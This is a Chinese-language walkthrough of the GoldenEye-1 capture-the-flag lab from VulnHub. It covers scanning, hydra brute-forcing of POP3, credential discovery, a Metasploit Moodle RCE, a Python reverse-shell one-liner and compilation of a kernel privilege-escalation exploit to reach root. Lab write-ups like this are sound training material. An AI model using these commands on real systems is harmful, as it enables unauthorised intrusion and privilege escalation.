准备:
vbox:kali+goldeneye all 桥接-网卡
kali:ifconfig
获得kali的ip 192.168.1.187
其他:靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
下载.ova的就好,直接在vbox 管理-导入虚拟机-文件 就ok了
另外kali和靶机都需要设置成桥接模式,选择同一个网卡就好
1-发现局域网下活跃主机
sudo arp-scan -l
解释:
-l:表示 local network
分析:很明显有一个特殊的部分 即PCSXXX ip=192.168.1.185
2-对目标设备进行端口扫描
sudo su
nmap -A -T4 -p- -sS 192.168.1.185
解释:
-A
: 启用"Aggressive"扫描选项。启用操作系统检测-O、版本扫描-sV、脚本扫描-sC和traceroute --traceroute。
T4 是一个相对快速的扫描设置,但可能会被一些 IDS/IPS 系统检测到
-p-
: 扫描所有端口。65535个端口
-sS
: 使用 TCP SYN 扫描(也称为半开放扫描)
-sV
: 启用版本扫描;在-A存在的时候,其实可以省略这个
分析:
开放了25-SMTP服务 80-HTTP服务 55006-未知SSL服务 55007-未知服务
- 80端口的网页标题是"GoldenEye Primary Admin Server"
- 55006端口的SSL证书显示这可能是Dovecot邮件服务器
- MAC地址显示这是一个Oracle VirtualBox虚拟机
3-进行target机的80端口访问
在kali中的firefox中,输入192.168.1.185:80,出现以下
分析:
标记为:绝密访问 以及用户状态是未知!但给出了导航提示! 导航到 /sev-home/,即192.168.1.185/sev-home/ 出现登录页面
很明显这里就需要去登录 ,登录的方式 最简单粗暴的就是 枚举爆破 思路定下来了,但是尝试看看原本的页面源码中是否有新的信息-192.168.1.185:80
<html><head>
<title>GoldenEye Primary Admin Server</title>
<link rel="stylesheet" href="index.css">
</head>
<body><span id="GoldenEyeText" class="typeing"><span><br>Severnaya Auxiliary Control Station<br>****TOP SECRET ACCESS****<span class="blinker"> </span></span></span><span class="blinker"> </span>
<script src="terminal.js"></script>
</body></html>
这里除了原本在页面中看到的信息外,额外引入了一个名为"terminal.js"的外部JavaScript文件,并且给出了src的地址,直接加在原本的url中192.168.1.185/terminal.js
var data = [
{
GoldenEyeText: "<span><br/>Severnaya Auxiliary Control Station<br/>****TOP SECRET ACCESS****<br/>Accessing Server Identity<br/>Server Name:....................<br/>GOLDENEYE<br/><br/>User: UNKNOWN<br/><span>Naviagate to /sev-home/ to login</span>"
}
];
//
//Boris, make sure you update your default password.
//My sources say MI6 maybe planning to infiltrate.
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//InvincibleHack3r
//
//BTW Natalya says she can break your codes
//
var allElements = document.getElementsByClassName("typeing");
for (var j = 0; j < allElements.length; j++) {
var currentElementId = allElements[j].id;
var currentElementIdContent = data[0][currentElementId];
var element = document.getElementById(currentElementId);
var devTypeText = currentElementIdContent;
var i = 0, isTag, text;
(function type() {
text = devTypeText.slice(0, ++i);
if (text === devTypeText) return;
element.innerHTML = text + `<span class='blinker'> </span>`;
var char = text.slice(-1);
if (char === "<") isTag = true;
if (char === ">") isTag = false;
if (isTag) return type();
setTimeout(type, 60);
})();
}
重点在注释中,翻译如下:
//Boris,确保你更新了你的默认密码。
//我的消息来源说MI6可能正在计划渗透。
//注意留意任何可疑的网络流量....
//我在下面为你编码了密码...
//InvincibleHack3r
//顺便说一下,Natalya说她能破解你的密码
很明显,这里就涉及一个知识点,就是解密密码,随便找一个解密的地方都可以,gpt也可以,burpsuite也可以 等等,解密后为-InvincibleHack3r
通过上下文分析可知,Boris - InvincibleHack3r
这里也就分为两条线了,即访问到terminal.js和sev-home,前者给出了boris在这个网页中的默认密码这件事和登录sev-home中boris的密码,后者-看4
4-登录账户信息
回到192.168.1.185/sev-home/ 登录Boris - InvincibleHacks,显然无法登录,换个思路 注释中的是是大写,尝试小写 boris/InvincibleHack3r 登录成功!
查看页面源码,翻译如下
<p>黄金眼是一个绝密的苏联轨道武器项目。既然您能够访问这里,那么您肯定持有最高机密许可,并有资格成为认证的黄金眼网络操作员(GNO)。</p>
<p>请发送电子邮件给合格的GNO主管,以接受在线<b>黄金眼操作员培训</b>,成为黄金眼系统的管理员。</p>
<p>请记住,由于<b><i>通过隐蔽实现安全</i></b>是非常有效的,我们已将我们的pop3服务配置为在一个非常高的非默认端口上运行。</p>
分析:
由提示可知,某个非默认的端口 正在运行着一个活动的POP3服务,联合最早的nmap扫描可知,那大概就是 55006-未知SSL服务 55007-未知服务 这两个端口了,并且联合前段在terminal.js注释中说的-//Boris,确保你更新了你的默认密码。
综上,更为确定 可疑端口-55006+55007、端口服务-pop3、登录账户特征-默认密码,这几件事情。
接下来思路就很清晰了,就是爆破mail的密码。这时候我们是有账户的-natalya/boris
这两个中的一个。而且看扫描的结果来看,大概率是55006是mail服务,
5-mail服务账号密码的枚举爆破
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ls
┌──(root㉿kali)-[/home/kali/Desktop]
└─# mkdir baji
┌──(root㉿kali)-[/home/kali/Desktop]
└─# cd baji
┌──(root㉿kali)-[/home/kali/Desktop/baji]
└─# echo -e "natalya\nboris" > users.txt
┌──(root㉿kali)-[/home/kali/Desktop/baji]
└─# hydra -L users.txt -P /usr/share/wordlists/fasttrack.txt 192.168.1.185 -s 55007 pop3
解释:
-
-e: 这是echo命令的一个选项,它允许解释反斜杠转义字符。在这里,它使得 \n 被解释为换行符。
-
> 输出重定向操作符
-
hydra: 这是一个强大的多线程登录破解工具,用于进行暴力破解和字典攻击
-
-L users.txt: 指定用户名列表文件。-L 选项表示从文件中读取多个用户名
-
-l boris 指定单个用户名
-
-P /usr/share/wordlists/fasttrack.txt: 指定密码字典文件。-P 选项表示从文件中读取多个密码
-
-s 55007: 指定目标端口
-
pop3: 指定要攻击的服务类型,这里是 POP3 邮件协议
可得: boris/secret1! natalya/bird
分析:
得到账户和对应密码之后,自然是尝试连接了
6-登录对应账户
└─# nc 192.168.1.185 55007
+OK GoldenEye POP3 Electronic-Mail System
user boris
+OK
pass secret1!
+OK Logged in.
list
+OK 3 messages:
1 544
2 373
3 921
retr 1
retr 2
retr 3
+OK 544 字节
回路路径: root@127.0.0.1.goldeneye
原始收件人: boris
投递给: boris@ubuntu
接收自: ok (本地主机 [127.0.0.1])
经由 ubuntu (Postfix) 使用 SMTP id D9E47454B1
发送给 <boris>; 1990年4月2日 星期二 19:22:14 -0700 (PDT)
消息ID: 20180425022326.D9E47454B1@ubuntu
日期: 1990年4月2日 星期二 19:22:14 -0700 (PDT)
发件人: root@127.0.0.1.goldeneye
鲍里斯,我是管理员。你可以在这里以电子方式与同事和学生交流。我不会扫描电子邮件以检查安全风险,因为我信任你和这里的其他管理员。
+OK 373 字节
回路路径: natalya@ubuntu
原始收件人: boris
投递给: boris@ubuntu
接收自: ok (本地主机 [127.0.0.1])
经由 ubuntu (Postfix) 使用 ESMTP id C3F2B454B1
发送给 <boris>; 1995年4月21日 星期二 19:42:35 -0700 (PDT)
消息ID: 20180425024249.C3F2B454B1@ubuntu
日期: 1995年4月21日 星期二 19:42:35 -0700 (PDT)
发件人: natalya@ubuntu
鲍里斯,我能破解你的密码!
+OK 921 字节
回路路径: alec@janus.boss
原始收件人: boris
投递给: boris@ubuntu
接收自: janus (本地主机 [127.0.0.1])
经由 ubuntu (Postfix) 使用 ESMTP id 4B9F4454B1
发送给 <boris>; 1995年4月22日 星期三 19:51:48 -0700 (PDT)
消息ID: 20180425025235.4B9F4454B1@ubuntu
日期: 1995年4月22日 星期三 19:51:48 -0700 (PDT)
发件人: alec@janus.boss
鲍里斯,
你与我们syndicate的合作将会带来巨大回报。附件是黄金眼的最终访问代码。将它们放在这台服务器根目录的隐藏文件中,然后从这封邮件中删除。这些访问代码只能有一套,我们需要为最终执行确保它们的安全。如果它们被检索和捕获,我们的计划将会崩溃!
一旦泽尼娅获得训练站的访问权限并熟悉黄金眼终端代码,我们就会推进到最后阶段....
附言 - 保持严密的安全措施,否则我们将会被曝光。
分析:
第二封来自用户“natalya”,称她可以破坏鲍里斯的密码。
第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但无法从此处阅读附件。同理,登录natalya这个账号
natalya用户登录邮件查看信息:
nc 192.168.4.202 55007 ---登录邮箱
user natalya ---登录用户
pass bird ---登录密码
list ---查看邮件数量
retr 1~3 ---查看邮件内容
+OK 631 字节
回路路径: root@ubuntu
原始收件人: natalya
投递给: natalya@ubuntu
接收自: ok (本地主机 [127.0.0.1])
经由 ubuntu (Postfix) 使用 ESMTP id D5EDA454B1
发送给 <natalya>; 1995年4月10日 星期二 19:45:33 -0700 (PDT)
消息ID: 20180425024542.D5EDA454B1@ubuntu
日期: 1995年4月10日 星期二 19:45:33 -0700 (PDT)
发件人: root@ubuntu
娜塔莉娅,请你停止破解鲍里斯的密码。另外,你是GNO培训的主管。一旦有学生被指派给你,我会给你发邮件。
同时,请警惕可能的网络入侵。我们有情报显示,一个名为Janus的犯罪集团正在寻找黄金眼。
+OK 1048 字节
回路路径: root@ubuntu
原始收件人: natalya
投递给: natalya@ubuntu
接收自: root (本地主机 [127.0.0.1])
经由 ubuntu (Postfix) 使用 SMTP id 17C96454B1
发送给 <natalya>; 1995年4月29日 星期二 20:19:42 -0700 (PDT)
消息ID: 20180425031956.17C96454B1@ubuntu
日期: 1995年4月29日 星期二 20:19:42 -0700 (PDT)
发件人: root@ubuntu
好的,娜塔莉娅,我给你安排了一个新学生。由于这是一个新系统,如果你发现任何配置问题,尤其是与安全相关的,请让我或鲍里斯知道...即使不是安全问题,也可以以"安全"的名义提交...这样可以让变更请求更快地得到处理 :)
好了,用户凭证如下:
用户名:xenia
密码:RCP90rulez!
鲍里斯已经验证她是一个有效的合同工,所以你只需创建账户就可以了,好吗?
如果你没有我们内部域名的URL,它是:severnaya-station.com/gnocertdir
**确保编辑你的host文件,因为你通常是在远程离线网络工作....
既然你是Linux用户,只需在 /etc/hosts 文件中将这个服务器的IP指向 severnaya-station.com 就可以了。
分析:
在第二封邮件看到了另外一个用户名密码,给出了域名和网站,以及要求在本地hosts添加域名信息
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
我们现根据邮件提示添加本地域名:severnaya-station.com,修改/etc/hosts
nano /etc/hosts
192.168.1.185 severnaya-station.com
添加好了之后就尝试访问 目标网址- severnaya-station.com/gnocertdir 去
7-访问目标网址severnaya-station.com/gnocertdir 查看是否有其他信息
刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。
whatweb severnaya-station.com/gnocertdir ---指纹搜索也行
点击:Intro to GoldenEye可以进行登录,使用natalya邮箱第二封邮件获得的用户名密码登录:
用户名:xenia
密码:RCP90rulez!
Home / ▶ My profile / ▶ Messages --->发现有一封邮件,内容发现用户名doak
分析:
盲猜 doak的密码也是默认的 直接爆破
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.4.202 -s 55007 pop3
获得用户名密码:doak/goat
分析:查看以下该doak用户下的邮箱有什么信息
可得
邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
用户名:dr_doak
密码:4England!
分析:
按照邮件提示去site登录
8-再次登录目标网址,并使用新的账号和密码登录
多点点看看,发现在:Home / ▶ My home 右边发现: s3cret.txt
另外发现这是Moodle使用的2.2.3版本
下载查看s3cret.txt文件,得
翻译如下:
我成功通过明文捕获了这个应用的管理员凭证。
金眼服务器中大多数网络应用的文本都会被扫描,所以我不能在这里添加凭证。
有一些有价值的东西位于这里:/dir007key/for-007.jpg
另外,你可能知道,RCP-90 远远优于任何其他武器,而"杀人执照"模式是唯一的游戏方式。
分析:直接去 该网址下 去寻址 这个位置,查看这个jpg,有价值的东西在图片中,应该是意味着这里是一个隐写术这个知识点
9-访问页面:severnaya-station.com/dir007key/for-007.jpg
wget http://severnaya-station.com/dir007key/for-007.jpg
根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:
binwalk(路由逆向分析工具)
exiftool(图虫)
strings(识别动态库版本指令)
等查看jpg文件底层内容!
exiftool for-007.jpg
strings for-007.jpg --这个会很乱,需要重新分析
用以上命令都可以查看到base64编码隐藏信息:eFdpbnRlcjE5OTV4IQ==
带== 很明显就是base64编码过的。直接解码
使用Burpsuite破解获得密码:xWinter1995x!
线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
用户名:admin
密码:xWinter1995x!
severnaya-station.com/gnocertdir
分析:有了管理员用户和密码,就要尝试getshell和提权了
但是要注意这里的moddl的版本是2.2.3,知道确定的版本 就要去网上去搜寻 可利用版本的漏洞
Moodle 2.2.3 exp cve --> CVE-2013-3630 漏洞可利用! 29324
10-get shell 有两个方法
此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。
方法一:MSF
msfconsole ---进入MSF框架攻击界面
search moodle ---查找 moodle类型 攻击的模块
use 1 ---调用1 exploit/multi/http/moodle_spelling_binary_rce 调用攻击脚本
set username admin ---设置用户名:admin
set password xWinter1995x! ---设置密码:xWinter1995x!
set rhost severnaya-station.com ---设置:rhosts severnaya-station.com
set targeturi /gnocertdir ---设置目录: /gnocertdir
set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse
set lhost 192.168.4.231 ---设置:lhost 192.168.4.231(需要本地IP)
exploit ----执行命令
use exploit/multi/http/moodle_cmd_exec
msf exploit(moodle_cmd_exec) > set rhost severnaya-station.com
msf exploit(moodle_cmd_exec) > set targeturi /gnocertdir
msf exploit(moodle_cmd_exec) > set username admin
msf exploit(moodle_cmd_exec) > set password xWinter1995x!
set payload cmd/unix/reverse
set lhost 192.168.1.187
当我们执行后发现无法成功,是因为对方需要修改执行PSpellShell
https://www.exploit-db.com/exploits/29324
's_editor_tinymce_spellengine' => 'PSpellShell',
----这里看不懂!
由于我们已经使用了管理员admin用户登录页面,由于使用的是powershell命令,需要在设置中修改:
Home / ▶ Site administration / ▶ Plugins / ▶ Text editors / ▶ TinyMCE HTML editor
来到此处,修改PSpellShell然后save!
然后重新exploit继续运行:获得shell
执行tty,因为获得的权限无框架:执行
python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
解释:
-
python -c
:这部分告诉系统使用Python解释器。 -
import pty
: 导入Python的pty(伪终端)模块。
-
pty.spawn("/bin/bash")
:- 使用pty模块的spawn函数来创建一个新的伪终端。
- "/bin/bash" 是要在这个新的伪终端中运行的命令,这里是启动一个Bash shell。
方法二:python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.28",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
接下来 获得了shell 就是提权了
11-内核提权
uname -a 查看权限!靶机
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
直接搜目标系统的漏洞
谷歌搜索:Linux ubuntu 3.13.0-32 exploit
获得exp版本:37292
--------------------------------------------------
CVE(CAN) ID: CVE-2015-1328
overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。
Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。
此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。
---------------------------------------------------------------------------
kali搜索下:
searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面/baji
---目录自行修改
这个靶场在枚举信息 知道:
无法进行GCC编译,需要改下脚本为cc
gedit 37292.c ---文本打开 或者选择在vscode中打开
第143行将gcc改为cc ---编写下
然后在攻击机本目录下开启http服务:python -m SimpleHTTPServer 8081
解释:调用py解释器,-m告诉解释器要运行一个模板作为脚本,SimpleHTTPServer为python2.x中一个内置模块,用于快速创建一个本地的HTTP服务器。在python3.x中交http.server 8081为指定的端口
在shell页面中使得eye机获取攻击机的文件
wget http://192.168.93.96:8081/37292.c ---wget下载http服务下的文件
成功下载后执行cc编译:
cc -o exp 37292.c ---C语言的CC代码编译点c文件
chmod +x exp ---编译成可执行文件,并赋权
./exp ---点杠执行
id ---查看目前权限
cat /root/.flag.txt ---读取root下的flag信息
568628e0d993b1973adc718237da6e93
总结:
-
主机发现和端口扫描
- 使用arp-scan和nmap进行主机发现和端口扫描
- 发现开放的80端口和其他高端口
-
Web应用枚举
- 访问80端口网页,查看源代码
- 发现隐藏的目录/sev-home/和一些用户名密码信息
-
暴力破解
- 使用hydra对POP3服务进行暴力破解
- 获得boris和natalya的账号密码
-
邮件信息收集
- 使用nc登录POP3服务,查看邮件内容
- 获得新的用户名密码和域名信息
-
CMS漏洞利用
- 设置hosts文件,访问CMS系统
- 使用获得的凭据登录,发现隐藏信息
- 下载并分析图片文件,获得admin密码
-
Getshell
- 使用Metasploit的Moodle RCE模块获取shell
- 或使用Python反弹shell
-
权限提升
- 查看系统版本信息
- 下载对应的内核漏洞利用代码
- 编译并执行exploit获得root权限
-
获取flag
- 以root权限读取/root/.flag.txt文件,获得最终flag